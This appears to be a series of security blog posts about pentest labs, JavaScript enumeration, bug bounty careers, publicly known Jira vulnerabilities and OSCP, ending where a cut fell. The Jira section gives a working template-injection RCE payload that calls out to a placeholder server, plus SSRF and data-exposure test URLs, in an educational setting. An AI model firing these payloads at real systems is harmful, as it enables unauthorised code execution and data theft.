Penetration testing lab review: Hackthebox Offshore

With the increase of Cloud Computing adoption, many penetration testing labs are emerging every day. From small challenges to enterprise-scale infrastructure, I am sure you will find the right penetration testing lab that suits your level of skills and your career path.

Today, I will review the Offshore lab from HacktheBox based on my experience.

Offshore: A Realistic Penetration testing lab
Offshore: A Realistic Penetration testing lab

Why I chose a penetration testing lab?

I’ve been learning about Active Directory hacking for a while. I read blog posts on the internet on how it works and how to approach it from an attacker perspective. I also built my own local Active Directory lab and tried hacking it.

However, I didn’t feel I am progressing much. I had to first learn about each attack, then introduce the vulnerability in my lab and attack it myself. I had to spend too much time and effort trying to switch hats between the sysadmin and the hacker. Besides, I wanted to train on a penetration testing lab that mimics a real company, and my computer can’t just spin up such a big lab.

Hackthebox Offshore penetration testing lab overview

This penetration testing lab allows you to practice your hacking skills on a company which uses Active Directory for its core IT infrastructure. Therefore, you will learn so many different techniques to take down most of your clients since Active Directory is widely used, especially in big companies.

Besides that, you will have to hack some Linux machines here and there, from breaching the DMZ to exploiting internal web applications. Throughout the journey, you will collect many flags. Once you have them all, you can request your certificate of completion.

So, I purchased a monthly subscription plus the setup fee, received the VPN connection pack and started my hacking journey!

Offshore penetration testing lab requirements

To be able to take the maximum value from this realistic penetration testing lab, there are some knowledge requirements I recommend you have first. Trust me, it will allow you to totally benefit from the lab instead of banging your head with concepts you could have learned elsewhere, for free!

Web application security

There are many web applications in the lab that you have to exploit before landing on the Windows Domain. If you don’t know how to exploit a basic SQL injection or have trouble understanding the OWASP Top 10, I highly recommend you start there first. In fact, because this penetration testing lab focuses on Active Directory hacking, you will have a hard time getting hold of a Windows machine.

Don’t worry though, you can quickly learn about that in the OWASP Top 10 training I give for free to all those who want to start learning web application hacking.

Active Directory basics

Although this penetration testing lab focuses on Active Directory, there is no walkthrough that will walk you through the steps you need to take. At least, you have to understand and ideally practice known attacks such as Kerberoasting, Pass-the-Hash, DCSync, etc. You will find some references at the end of this article.

If you are looking for a penetration testing lab with a walkthrough, then maybe Pentester Academy’s AD course is the one you should get.

Basic knowledge of Networking

During the lab, you will move through many different subnets, build SSH tunnels, proxy your traffic using SOCKs proxies, get reverse shells, etc. All these operations require you to understand the basics of networking. You should be familiar with Network routing, subnets and SSH tunnels.

If you have done OSCP, you should be fine since there is a chapter about such concepts. Otherwise, there are many Youtube videos that can teach you just that.

How to succeed in Offshore penetration testing lab?

Ok, you have what it takes to tackle this penetration testing lab? Here are the things I suggest you do in order to succeed.

Before going further, I should mention that the entry point is 10.10.110.0/24, which is oddly missing from the Lab, but present in the creator’s blog post, mrb3n.

HacktheBox Discord server

Once you purchase the Offshore Lab, I recommend you join the dedicated channel prolabs-offshore where you can interact with your peers. I made many friends along the journey. We collaborated along the different stages of the lab and shared different hacking ideas. Sometimes, all you need is a nudge to achieve your exploit. Other times, you simply need a hint to start learning about a new attack.

Enumeration, Enumeration, Enumeration!

If I have to tell you the one biggest skill you practice in this penetration testing lab after Active Directory hacking, that would be ENUMERATION!

You will have to properly enumerate your target at all the stages! From asset discovery to post-exploitation. Some attacks require exploiting misconfiguration issues which you can’t achieve without the knowledge you gain through proper enumeration. Some flags are even carefully put in places you can never find unless you dig deep.

Prepare to be surprised

This penetration testing lab is rich in Active Directory attacks, OS distributions, web applications and other services, including encryption! You will surely get stuck at one point or another. Therefore, prepare yourself mentally for that! It is not an easy and straightforward lab and it will teach you that hacking a company is usually a bumpy road with many surprises along the way.

Finished the penetration testing lab? What’s next?

Once you finish the lab and collect all the flags, I encourage you to try other ways. This is a great chance for you to practice Metasploit workflow to speed up your hacking process. Or maybe it’s time to test that Command and Control (CC) Server you’ve been planning to learn. What’s a better opportunity than testing those skills on a real-life playground, ethically!

Conclusion

I hope this article gave you a clear overview of the Offshore penetration testing lab. Don’t forget to unsubscribe from your monthly payment once you finish. And maybe purchase another one from this awesome hacking platform!

References

JavaScript Enumeration for bug bounty hunters

JavaScript Enumeration is a critical skill to have if you want to level up your penetration testing or bug bounty hunting game. Yet, not everyone does it, partly because it is a boring exercise or it consumes most of your time, not to mention how intimidated you might feel reading someone else’s code. Today, we will explore this topic and understand why it matters, and how you can perform it.

Hopefully, this episode will help you overcome these hurdles and give you the tools you need to make JavaScript Enumeration less painful. We will first understand how it can lead to serious security bugs. Then, we will discover different ways to properly do it. So, stay with me until the end because you will definitely learn some hacking tricks along the way!

Why JavaScript enumeration matters?

If you don’t perform JavaScript enumeration during your hacking engagements, you are overlooking a vital portion of your target web application. In fact, JavaScript powers the client-side; meaning that all the logic that happens before hitting the back-end server is there. Think about it, you have half of the code that you can look through, and code never lies! If there is an error, the code will tell you, you just have to look through it.

Let’s first discover what you could find with JavaScript Enumeration.

JavaScript enumeration can give you easy wins

Because of bad coding practices, the developers can unintentionally introduce low hanging security bugs in the JavaScript code, ready to be exploited by entry-level hackers. Sloppy coding can include hard-coded credentials, hidden web page URLs with no authentication, or even back-end API endpoints with broken access control flaws.

For example, by simply enumerating the code for API endpoints, you can find some unprotected ones. If you want to learn a real-world example of how I found a serious account takeover flaw, make sure to read this article.

JavaScript enumeration helps you understand how the application works

While you are looking through the code for hard-coded credentials and API endpoints, you will naturally get a feel of the structure, the coding style and what the web application does. If you don’t get that, don’t worry, it comes with practice; the more you do it, the easier it becomes. We will explore shortly how you can start doing it.

JavaScript enumeration can give you deep and serious bugs

Besides the low hanging fruits which you can find using JavaScript enumeration, you can uncover hidden issues which fewer people are looking for. These are typically DOM XSS vulnerabilities that you can exploit through postMessage events or the usage of dangerous JavaScript sinks and sources. For example, a developer might use the path part of the URL to populate the DOM using the sink innerHTML. In this case, you can inject malicious JavaScript code that will be reflected in the DOM without proper encoding, leading to a DOM XSS.

If you want to learn and practice DOM XSS, you can visit Portswigger’s article.

JavaScript enumeration simplified with tools

JavaScript enumeration can be intimidating, hard or time-consuming. If that’s the case for you, maybe you are doing it the wrong way! If you jump onto random JavaScript files and look for low hanging fruits only, you might get lucky once, but you won’t find great and consistent bugs. At least you won’t cover the entire attack surface. Instead, I suggest you first extract all JavaScript files, then browse through them, and then you can focus on specific parts which seem interesting.

You can use various tools that will assist you during this exercise. These are the ones I found helpful, but if you prefer other tools, feel free to suggest others in the comments.

Step 1 in JavaScript enumeration: Extract JavaScript files

Sometimes all you have is the login page, that’s fine. Once you finish browsing all the accessible features, your web proxy should have recorded all the JavaScript files. I like to use BurpSuite Professional to extract them all at once, but you can use other alternatives, such as manually downloading all the JavaScript files from BurpSuite Community Edition (The free version of BurpSuite).

To do that, you right-click on your target root entry in the Sitemap, then choose the Find scripts option under the Engagement tools in the contextual menu.

JavaScript Enumeration using BurpSuite Find scripts feature
JavaScript Enumeration using BurpSuite Find scripts feature

From there, you click on Export scripts and choose a file to store them. I like to store them because I will be using the next tools to look for specific things, like endpoints, secrets, etc.

Saving all the scripts into one single file
Saving all the scripts into one single file

Extract JavaScript using free tools

If you have been following this blog, you know that the bug bounty community has published many awesome tools which you can combine to get the content of JavaScript files. I like to use waybackurls and the built-in bash commands xargs, curl and tee. You can find many more on this article. Here is a one-liner that will do the job:

waybackurls target.com | grep "\\.js" | xargs -n1 -I@ curl -k @ | tee -a content.txt

The above one-liner will collect all publicly available JavaScript files using waybackurls. Then, it filters only JavaScript files. From there, it grabs the content of each file using curl. Finally, it stores the result in one file.

Step 2: Beautify the JavaScript code

From my experience, most of the JavaScript files get obfuscated and packed into one single line. Therefore, it’s hard to deal with them as they are. Luckily, there are tools which help at least structure them into readable JavaScript code. The one I use is Jsbeautifier, a command-line tool that accepts a file as input and beautifies its content, unpacks it or deobfuscates it into a resulting file.

First, you install it using pip: pip install jsbeautifier. Then, you run it with js-beautify -o outfile.txt scripts.txt. This will output the file outfile.txt which you can easily browse through.

It’s time for the next step: finding the juicy data we are all looking for!

Step 3: JavaScript enumeration with Grep and the family

Now that we have a readable version of all the JavaScript code in one place, I like to start with Grep to get a feel of what I am expecting. The general command is grep --color -i term outfile.txt. You just change the word term with what you’re looking for. For example, try words like secret, admin, password or token to find hardcoded secrets. Alternatively, you can use a path prefix to look for endpoints. Say you noticed that all API endpoints start with /api/v1. In this case, you can substitute the word term in the grep command with /api/v1 to collect all the API endpoints.

Once you grab some endpoints, and hopefully some secrets, you can focus on areas of interest within the JavaScript files.

Javascript enumeration using Chrome Dev Tools

If you don’t have BurpSuite Pro or you don’t want to parse the entire JavaScript files, you can use your built-in Web Browser Developer tools. I like to use the Chrome Browser.

Look for keywords across the entire website

In Chrome, you can open the Developer Tools using the shortcut Command + option + I on Mac, and Ctrl + Shift + I on Windows. From there, choose the Sources Tab. Once inside, you will see the different files in a tree on the left. Hit Command + option + F on Mac, or Ctrl + Shift + F on Windows and a search menu will appear in the bottom. Type the keywords you found from the previous steps to locate where exactly they appear in the client-side source code.

JavaScript Enumeration using Chrome Developer Tools
JavaScript Enumeration using Chrome Developer Tools

From there, click on the one on the right of the results, which will load the JavaScript file in the main screen.

JavaScript enumeration within a file in Chrome Dev Tools

Once you choose a JavaScript file, it may appear obfuscated or minified. Don’t worry, Chrome can make it readable. You just have to click on the Prety-print button. Alternatively, there is a button named {} on the bottom of the screen, which you can click as well.

The Pretty-print feature in Chrome Developer Tools
The Pretty-print feature in Chrome Developer Tools

From there, hit Command + F on Mac or Ctrl + F on Windows and look for your keyword, such as api_key.

You can search for keywords inside the beautified JavaScript code
You can search for keywords inside the beautified JavaScript code

JavaScript Enumeration using breakpoints

Once you focus on a particular snippet within a JavaScript file which brings your attention, you might find it hard to understand what the code does. This can be due to random variable or function names, or simply because you can’t understand what the code does. In this case, you can set a break-point on one or multiple lines, then refresh the page.

Using breakpoints to pause the execution at areas of your interest
Using breakpoints to pause the execution at areas of your interest

Once the client-side code hits your break-point, you can debug it like you would do in any Code Editor using the controls you have on the menu in the right.

You can use the control buttons to debug the JavaScript code
You can use the control buttons to debug the JavaScript code

JavaScript enumeration examples

After mapping the application, collecting all JavaScript files, looking for interesting areas and debugging the JavaScript code, it really depends on your experience and creativity to find interesting bugs. However, without the prior steps, you wouldn’t be able to focus on the areas that matter. The following are examples which illustrate what hackers have found using JavaScript enumeration.

PostMessage DOM XSS vulnerabilities

In this great article, Mathias explains how he performed JavaScript Enumeration using the very steps you discovered earlier to find and exploit a DOM XSS vulnerability due to a misconfiguration in the PostMessage event handling.

Exploit a token leak to disclose your Paypal password

This blog post explains how Alex, a Security Researcher and bug bounty hunter, could exfiltrate your Paypal password through a token leak. He started with JavaScript enumeration and found an interesting endpoint that he was able to understand and exploit.

Conclusion

Hopefully, you now understand why you should perform JavaScript enumeration. But most importantly, you have a methodical approach and the tools to help during the process.

Bug bounty hunting: The Ultimate Guide

In this exhaustive guide, you will find all you need to know about bug bounty hunting based on my experience as a bug bounty hunter and a triage analyst who handled tens of thousands of bug bounty reports. We will explore the bug bounty history and its ecosystem, understand what to expect,

Imagine a world where companies come to you and ask you to hack them. In return, they will pay you whenever you find a unique vulnerability. And the best part, you don’t have to neither leave your home nor stick to a time schedule!
It sounds unrealistic, right? Well, let me tell you that it’s now a real job, not a fantasy anymore!

When bug bounties didn’t exist

Let’s travel 50 years back. Home computers barely start entering the market. Phone phreaking at its golden age. Hackers painted as cybercriminals and weird people who think outside the norm to cause trouble. The US government passes laws which make it a crime to break into computer systems. I wasn’t yet born, and I’m honestly grateful for that.
Unfortunately, companies neglected hackers and continued bringing products to the world without proper security testing. The situation got to a point where the real cybercriminals saw benefits in compromising the vulnerable companies, and hacking companies they did!

Bug bounty programs to the rescue

Luckily, some major companies felt the need to embrace the hacker spirit and leverage the hacking skills of independent individuals.

The birth of the “bug bounty” term

Back in 1995 the Netscape Communications Corporation company came up with the term “bug bounty” for the first time. Do you remember the Netscape browser? You probably don’t, but it’s the grandfather of modern Web Browsers like Chrome and Firefox. Well, back in the days, the company launched a bug bounty program for the Netscape Navigator 2.0 Beta browser. We had to wait for about 15 years before major companies started creating their own programs. We are talking about Google and Facebook in about 2011. Yahoo! Followed in 2013.

Early baby steps

However, this model had its limitations due to the fact that those programs weren’t mature enough.

First, the rewards were as modest as a t-shirt! Don’t get me wrong, I have nothing against t-shirts, I was so grateful to receive one from SoundCloud after I found a bug, but let’s just say that there are many other factors which drive hackers. According to the 2020 HackerOne Hacker report, 53% hack for money.

Secondly, the programs were limited to only a few companies, meaning that hackers didn’t have enough choice. You either hack Facebook or go to jail hacking others. And this is a big downside because 68% of bug bounty hunters hack for the challenge and the opportunity to learn, according to the same report.

Last but not least, hackers didn’t have a middleware party to defend their bugs if the program didn’t play fair. This doesn’t happen very often, but it can lead to surprising outcomes. In 2013, a hacker wrote a poorly-written report to Facebook about a bug which allowed an attacker to post on an arbitrary Facebook user’s timeline. When Facebook didn’t acknowledge the vulnerability, he then posted a message on Mark Zuckerberg’s timeline. Consequently, he wasn’t eligible for a reward. This is a common issue; when working as a triage analyst at HackerOne, I can’t count the number of poorly-written reports that I had to handle. But of course, it’s not an excuse not to give it enough analysis time and honor the hacker’s effort.

But, why become a bug bounty hunter while you can do penetration testing?

Bug bounty vs Penetration testing

Both bug hunting and penetration testing help secure organizations. However, each one differs from the other in many fundamental aspects. So, if you are a penetration tester who wants to apply the same tactics in bug hunting, you will probably fail. Similarly, if a company organizes a bug bounty program the same way you do in penetration testing assignments, you will probably fail as well. Here are some key differences that you should take into account.

The time factor

A bug bounty program usually runs for years, compared to penetration testing which spans a couple of weeks at most. Besides, there are no limitations for testing outside business hours. As a bug bounty hunter, this means you have all the time to hack as long as you want, without the need for a deadline. Therefore, your tests would be different than a typical penetration test. Usually, bug bounty hunters stick with one or two programs for months, or even years, depending on how big the scope is.

To me, bug bounty hunting is a marathon, while penetration testing is a sprint.

Bug bounty programs don’t accept some vulnerabilities

This is an important factor to consider, especially for penetration testers who are new to bug hunting. In fact, you can easily report informative issues like weak SSL ciphers, verbose errors, etc. In bug bounty programs, these issues are almost always explicitly out-of-scope in the program’s policy.

The money factor

Money is a key difference between bug bounty hunting and penetration testing. Companies pay penetration testers for the entire mission, while bug bounties are paid per valid vulnerability. Therefore, you have to be efficient or you will waste your time. This doesn’t mean that penetration testers are not efficient, quite the contrary. In fact, they can successfully handle simultaneous projects and find great security vulnerabilities. The point is … you must focus on impactful vulnerabilities and stay away from informative bugs if you want to get bug bounties.

The rise of Bug bounty platforms

With all the limitations that traditional bug bounty programs suffered from, there was a need for middleware in the cybersecurity market to help hackers and companies collaborate with each other. Naturally, bug bounty platforms were born to shape a new era in cybersecurity. HackerOne and Bugcrowd were among the first players, but we’ll leave details about each one to another episode. However, they all share pretty much the same core features.

Gamification of hacking

Hacking with bug bounty platforms is like playing a video game. We find vulnerabilities and increase our metrics, which increases our ranking in the leaderboard and opens the door to new programs, new challenges and new experiences. The best part is that we get paid along the way. Programs also get rated, the more active and rewarding they are, the more luckily talented hackers will help them stay secure. It’s a win-win situation.

Bug bounty platform HackerOne 90 Days Leaderboard
Bug bounty platform HackerOne 90 Days Leaderboard

Bug bounty challenges

More and more companies are joining bug bounty platforms, and so it is for people who want to hack. The problem is that not many of them have proper hacking knowledge. It’s easy to see how this is unbalanced. In fact, a bug bounty ecosystem relies on the abundance in both good programs and talented hackers. That’s why those platforms are developing more and more educational content in the form of videos, mini-challenges and CTFs. An example of that is the LevelUp conference which Bugcrowd organizes each year. It hosts talks from great hackers who share updated hacking knowledge. Another example is HackerOne’s hacktivity and the hacker101 website where Hackerone publishes new disclosed reports and provides a free playground for hackers to solve challenges and get private invites.

Bug bounty Hacker101 CTF challenges
Bug bounty Hacker101 CTF challenges

Bug bounty events

Another interesting advantage those platforms bring to the table is live hacking events. They gather the best hackers for a weekend to hack a target onsite. It’s a great experience which brings people together and produces new meaningful relationships. I once received an invitation but I turned it down due to some family health struggles I was going through. It was a big disappointment for me not to attend it, but I didn’t have a choice in that situation. Personally, family comes first.

The Bug bounty community

So far, bug bounty platforms are emerging and they are doing a great job at educating the next generation of hackers. Hunting for bugs has become a trend of its own and the community is growing so fast. In fact, about a third of the hacking crowd have less than 2 years of experience according to the HackerOne Hacker report of 2020. Naturally, the community started building its own knowledge base. New blogs, YouTube channels, live streams and podcasts started bringing even more educational and entertaining content. Allow me to talk about three valuable things that the community has produced.

Bug bounty methodologies

Hacking is an Art, each hacker has a perspective, a set of skills and experiences which shape the methodology he or she follows when approaching a target. Consequently, it is so easy to get lost in the number of clever methodologies out there. Jason Haddix was one of the early hackers who shared his bug bounty methodology, which is now at its 4th version.

Bug bounty tools

Every craftsman is nothing without a proper toolbox, and hackers are no exception. The bug bounty community is producing so many tools that you will have a hard time tracking. By the way, that’s a major reason why Jason’s bug bounty hunting methodology has been revised four times since 2015.

Bug bounty books

For those who enjoy reading, there are many books which will teach you just how to get into the game of bug bounties. One of the first ones was Peter’s Web hacking 101. I downloaded a free copy when signing up with HackerOne, and boy was it helpful! Shout out to Peter Yaworsky from here!

For those who don’t enjoy reading, you better get used to it if you want to survive in this career. Here is a list of books you should read!

Bug bounty benefits

Bug bounty is proving its spot in the cybersecurity market, that’s for sure. It is becoming another way of securing companies through an increasing crowd of hackers. It is useful in many ways.

Bug bounty money

The rise of bug bounty platforms and the increasing public breaches led to a significant increase in the rewards. I receive now and then emails from HackerOne telling me that a program has increased their rewards either for a promotion period or indefinitely. In one live hacking event, payouts surpassed a Million dollar amount! Think about that! A million dollar in just three days!

Freedom and flexibility

Bug bounty hunting allows hackers to live the working lifestyle they feel comfortable in. All the work is done remotely, except for live hacking events, which due to the Corona Virus, has also gone online. We can work alone or collaborate. Flexibility to work late at night or early in the morning is a great benefit. We also can choose from a wide range of programs depending on our preference. Although the majority prefers to make a side hustle income, around 20% work as full-time bug bounty hunters.

Relational dimension

Bug bounty hunting is not just all about making money. In fact, hackers build relationships and expand their friendships and professional network. The bug bounty community is generally open-minded with a young heart. People here are curious, fun and hard-working. We support each other in case someone goes through a hurdle, like a burnout (more on this shortly). Overall, I’d say I’m grateful to be part of such a great community.

Bug bounty drawbacks

Bug bounties cannot be that perfect, can they? There are downsides as well. I feel I’m responsible to put your expectations into perspective and give you a heads up before you leave your job and start hunting for bugs. Bug bounties, like any other thing in this life, has its drawbacks as well.

Instability

When we hunt for bugs, we only get bounties when we are the first to find one, that’s just how it is. This rule brings a great deal of income instability because it generates frustration and fear. Even talented hackers can hunt for days, or even weeks, without finding a single bug. Imagine how frustrating this can be! That’s why the majority prefer to hack part-time.

Isolation and comparisons

Because bug bounty hunting is commonly remote, we are not limited to an office. Some hackers travel the world while hacking. Others prefer to enjoy hunting from the comfort of their couch at home. However, since we don’t have to work with a team, we can sometimes feel lonely. And when we don’t find vulnerabilities, it gets even worse, especially when scrolling the Twitter feed and finding many tweets of others who find bugs and get paid.

Depression and burnout

The aforementioned drawbacks help prepare for the coming of the scariest ghost, the darkest nightmare of all bug hunters, the most wild beast which we call the burnout. You know, the feeling when you work continuously without any results, you lock yourself in front of your machine, you hack day and night and all you see are others finding bugs. Therefore, you lose your confidence and hope doors suddenly get closed. And then the time comes, and you decide to stop everything and never get back to hacking again.

That’s why it is important to pay attention to your mental health while working as a bug bounty hunter. We will talk about that on a dedicated episode. Meanwhile, you can read what other bug bounty hunters think about it. 

Bug bounty programs

Bug bounty programs are your clients, and you should treat them as such. In other words, you have to respect their security policy, deliver high-quality reports and assist them on any need for information. If you consider these points, they will love you!

In bug bounty, there are two types of programs: public and private.

Public programs

Public programs are, as the name suggests, accessible to all bug hunters. You can send security reports through a bug bounty platform or directly through their suggested communication channel, which you can find on the main domain under the /.well-known/security.txt file.

Public programs tend to have a big scope, which makes it a good target for long-term hacking commitment. However, you first need to assess if they have good response metrics. Otherwise, you will have to wait for months to get your reports handled, and yet other months to get a reward if the program provides bug bounties. You can gauge their response by sending some low hanging fruits which are still impactful, like a reflected XSS.

Private programs

Private programs are only accessible through private invites from bug bounty platforms. When you reach a certain level of reputation, you start to get them.

In general, these have a small number of hackers compared to public programs. Besides, they usually get help from the triage analysts of the bug bounty platform to reduce the noise of invalid reports. Moreover, the scope varies from wildcard domains to a single web application. Finally, they generally have good response metrics and pay well, which makes it attractive to talented hackers.

However, I would say that competition is higher in private programs than in public programs. Although the number of hackers is smaller, you have to work harder to uncover deeper bugs which have been overlooked by the previous testers.

Which is better, private or public programs?

In my opinion, it really doesn’t matter! Whether you hack on a public or a private program, you will always find bugs because code never stays the same! Every day, developers write and commit new lines of code, which means new opportunities for bugs to surface.

As long as you have the hacker hunter spirit, I guarantee you success.

How to be a successful bug bounty hunter?

Nowadays, there are so many bug bounty platforms, which host so many programs. This means that bugs are growing in number as well, you just have to develop some patterns to be able to find them.

A bug bounty hunter is a hacker

That’s obvious, but there are so many bug bounty hunters who honestly don’t understand the vulnerabilities that they are looking for. They have the spirit of script kiddies who care only about exploiting vulnerabilities, and a lot less about knowing enough about them.

You must have the spirit of a hacker, meaning that you should be curious how the technology works, and why the bug exists and how to exploit it. Then learn as much as you can about it. That way, you will not only exploit bugs but also develop methodologies about how to look for them.

A bug bounty hunter should have discipline and be consistent

This is one of the most challenging things you have to overcome. In fact, you won’t be paid until you find a bug, so might end up wasting a day, a week or even a month or more without finding anything.

If you hack for money, it might get you a painful burnout, which I already covered separately. Alternatively, if you have a full-time job and a family, it might be challenging to find that sweet spot to hack in your free time. No matter what your situation is, you have to be consistent.

Consistency should also be applied to acquire new knowledge. I suggest you take advantage of the many bug bounty resources to stay up to date.

A successful bug bounty hunter has a methodology

This is a direct result of consistency; the more you hack, the stronger your mind muscles grow. Therefore, you will find yourself following a pattern of tests which will improve over time. Ultimately, this will increase your chances of finding unique bugs.

Every bug bounty hunter has its methodology and you can get inspired from many of them. I published my own and I invite you to read it.

A bug bounty hunter is nothing without a proper toolbox

You have to choose your tools carefully. They should be flexible, simple to use, quick, contain less bugs, etc. Unfortunately, you can’t meet all the requirements. Therefore, you can combine multiple tools, or develop your own.

The bug bounty community offers so many great tools that you should use. I tried collecting the most famous ones in one article, but there are so many emerging tools. You have to keep sharpening and updating your tools if you want to be a successful bug bounty hunter.

A successful bug bounty hunter focuses on few bug bounty programs

If you keep jumping from one program to another, you will only find shallow bugs if you happen to come across a fresh code. Otherwise, there is a high chance you won’t find any bug.

Instead, choose a few programs which have good response metrics, pay fair money and are in line with your taste. You will find deeper bugs this way. Additionally, you will feel less overwhelmed.

A bug bounty hunter writes good bug bounty reports

It’s not all about your technical skills. In the end, you will interact with humans to sell your bug at the highest price. Unfortunately, you can’t do that with poor reports.

You have to understand that your report is the only value you give to the bug bounty program. If you write it well, they will spend less time reproducing and validating the issue, they will quickly triage and reward you. Plus, they will love you and might give you a bonus for your quality report. Read about that in a full article dedicated to this subject.

Some bug bounty hunters use automation for assistance

This is where few hackers shine because they know how to build code, not just break it. If you want to level up your game in bug bounty hunting, you have to automate tasks to enumerate your targets, monitor new domains, assets and changes in the programs you hack on.

Conclusion

If you are barely starting in the infosec industry and want to start doing bug bounties, I recommend you check out the OWASP Top 10 vulnerabilities in practice, which is a guide to the basics of web application security testing.

Jira vulnerabilities and how they are exploited in the wild

I’ve been asked a lot about Jira vulnerabilities. In this article, I compiled the publicly available Jira exploits I could find to help you when you are doing bug bounty hunting or penetration testing.

However, I should mention that you need to have some basic understanding of how web applications work and how to exploit them. If you want to learn that, head over to this ultimate guide.

Jira Server-Side Template Injection (CVE-2019–11581)

This Jira vulnerability created havoc back in 2019 and all bug bounty hunters were looking for it. It exploits the way input was handled in the administrator contact form. It allows remote and unauthenticated users to run Remote Code Execution on the vulnerable Jira instance. To achieve it, follow the steps:

  1. Go to /secure/ContactAdministrators!default.jspa. If you get a form, continue to the next step.
  2. Input $i18n.getClass().forName('java.lang.Runtime').getMethod('getRuntime',null).invoke(null,null).exec('curl http://your_server_here/rcetest?a=a').waitFor() in the subject and request details.
  3. Send the form. If it’s vulnerable this Jira attack will trigger an HTTP request to the server you set within the curl command in the payload above.
  4. If you are doing a penetration test, urgently reach out to your point of contact. And if you are doing bug bounty hunting, stop there and submit a detailed report about the issue.

Security misconfiguration in the Jira Service Desk

This Jira attack exploits a misconfiguration in the Jira Service Desk being exposed to the public. It allows an attacker to gather emails of employees and create Jira tickets. What’s better than to read it from the hacker who discovered it. Inti wrote an exhaustive article about that, so make sure to check it out.

Here are the steps to follow if you want to

  1. Go to /servicedesk/customer/user/login
  2. See if you can register an account and create a ticket as a proof-of-concept.

Publicly available filters and dashboards

This Jira attack exploits, yet again, another Security misconfiguration. And it allows attackers to leak internal data from the vulnerable Jira instance because of how filters can be publicly exposed by default. Within the accessible pages, there is the user picker which discloses a list of internal users. You can read about the details in this article.

The following URLs are the ones you should try, see if you can access a list of users/resources inside the exposed filters:

/secure/popups/UserPickerBrowser.jspa
/secure/ManageFilters.jspa?filterView=popular
/secure/ConfigurePortalPages!default.jspa?view=popular
/rest/project-templates/1.0/createshared

Jira Server-Side Request Forgery (CVE-2017–9506)

This classic Jira attack exploits an SSRF vulnerability, which allows you to do what SSRF does: Read AWS instance metadata, pivot inside the internal infrastructure or trigger XSS. You can read more about SSRF here.

Here are the steps to test for this Jira vulnerability.

  1. Go to /plugins/servlet/oauth/users/icon-uri?consumerUri=https://www.google.com
  2. You should load the Google page within the vulnerable Jira instance.
  3. Stop there and report the bug, asking permission to escalate it.

Another Jira SSRF vulnerability (CVE-2019-8451)

This Jira attack exploits the same vulnerability type as the one before, but in another endpoint which was implementing some poor validation. The bypass is simply appending @target.domain to the vulnerable parameter, target.domain is the page you want to load, such as AWS instance metadata. You can find the details in this article published by Tenable.

Here are the steps to follow if you want to test for it:

  1. Go to /plugins/servlet/gadgets/makeRequest?url=http://vulnerablehost@<http://targethost.com>
  2. You will get the results from targethost.com

Conclusion

Jira is one of the famous issue tracking products and it has its share of vulnerabilities. If you are an ethical hacker, use this list as a testbed during your engagements. If you are a system administrator and have a Jira instance, make sure you have the latest version and that you properly configure it. That way, you will reduce the attack surface.

OSCP Certification: All you need to know

Hello ethical hackers! In this episode, you will learn everything related to OSCP certification. What is OSCP? Why is it a strong certification? What sets it apart? What are the requirements? How to properly prepare for the exam? What to do the day of the exam? And what’s next once you earn your OSCP certification?

OSCP Certification introduction

OSCP stands for Offensive Security Certified Professional, it is Offensive Security‘s most famous certification. Everyone in the industry respects it, and for good reason. In fact, it proves that its holder can perform a penetration testing assignment using a methodical approach and can write a professional pentest report to deliver to the client. Moreover, it demonstrates that its holder can work under pressure and think outside the box when conducting penetration testing. By the way, the motto of OSCP is Try Harder!

OSCP Syllabus, course material, the lab and more

This certification has a syllabus that covers key aspects of penetration testing, it comes with the PWK course, a lab for training and a video package to support the course.

OSCP Syllabus

OSCP covers many penetration testing areas, from information gathering to exploitation. You get to apply your knowledge on various Linux distributions and Windows versions. These machines run a plethora of services. But perhaps the most important aspects I really enjoyed learning was SSH tunnels, privilege escalation and buffer overflows.

With the new 2020 update, this certification offers even more value, especially with the introduction of Active Directory hacking and Empire, which are essential in most real-world infrastructure penetration testing.

PWK course and videos

You won’t pay for the certification voucher only, the price covers the PWK course, which is a PDF file that goes from the basics to the advanced hacking techniques throughout the different chapters. You will learn some Linux commands to work in the terminal, most of the basic web application vulnerabilities, basics of buffer overflow, Active Directory hacking, SSH tunnelling, etc. Each chapter or section comes with a set of exercises that help you apply your knowledge. Besides, if you join the solutions to your final report, you will get 5 extra points.

To support the course PDF, you will get a set of videos that go through the whole concepts in the PDF and demonstrate the concept in practice.

The OSCP lab, price and why I chose it

When I wanted to get certified, I had many certification options. However, I chose OSCP because it provides many key points I was looking for:

  1. It has a hacking lab to practice the course material: I love learning through practice and the lab in the OSCP course is amazing. You will have to breach the perimeter, then work your way through until you own the entire infrastructure.
  2. The exam involves performing actual penetration testing on a new lab and write the report: I wanted to get a great value for the price I am paying and the OSCP exam is also practical, which means that I will apply what I have learned in yet another lab.
  3. With the previous points, the price is reasonable compared to other certifications.
  4. It is respected in the security community: This is reflected in both job offers and the salary. Almost all security offers from junior to senior level include OSCP among the other security certifications. This means that you don’t get a piece of certifying paper, but you actually increase your value in the job market.

Alright, now that you have a general view of what the OSCP is, let’s see what do you need to get it.

OSCP requirements before you apply for it

Although you don’t need prior hacking knowledge to go through this certification, I highly recommend you get comfortable at lease with the basics. OSCP is not for the faint of heart. If you under-estimate it, I doubt you will stand for long.

These are the things I recommend you learn:

Get yourself comfortable working with the terminal

You will spend most of your time on the lab working on remote machines which are only accessible through SSH. Even the Windows machines won’t be exploitable unless you use the command prompt to run your exploitation scripts. Therefore, it is essential to learn at least the basic Linux terminal commands that will help you navigate through the filesystem, install software, copy files around and connect to remote servers.

Learn the basics of web

There is a considerable amount of web applications in the lab, so I advise you to learn how they work. Take your time to understand how the HTTP Protocol works, what is the difference between the client and the server, etc. This will ease your way through the course as you will already have a general view of what they are talking about.

Learn and practice basic hacking techniques

Although the OSCP course teaches you the hacking techniques and concepts from the beginning, I recommend you learn them beforehand. That way, you can quickly go through them and focus on more advanced concepts like exploit development, SSH tunnelling and looting all the machines in the lab. There are many hacking websites which will help you achieve that. They offer great challenges that you can play with, solve and learn along the way. Feel free to read the dedicated article about it.

Practice your skills on boot2root machines

Once you feel comfortable with the hacking challenges, I encourage you to take more time to root some machines. This will allow you to adapt to the kind of hacking activity that you would find during the OSCP lab and the exam. The article I mentioned earlier contains a list of the websites where you can achieve that.

Code something with Python

Many exploits are available in python, and sometimes you will have to modify them to work for your situation. Therefore, knowing Python will help you take full advantage of the labs and speed up your hacking process. Besides, since Metasploit is forbidden in the exam apart from one shot, you have to convert one or two modules to your own Python scripts as a means of practice during your exam preparation.

Understand basic C code

The OSCP course contains a full chapter on Buffer Overflows. Although the concepts are basic, you will still have a hard time understanding and building your exploits if you don’t know anything about the C language. Besides, some machines require you to customize some C code in order to successfully exploit the vulnerability.

The process of applying for OSCP

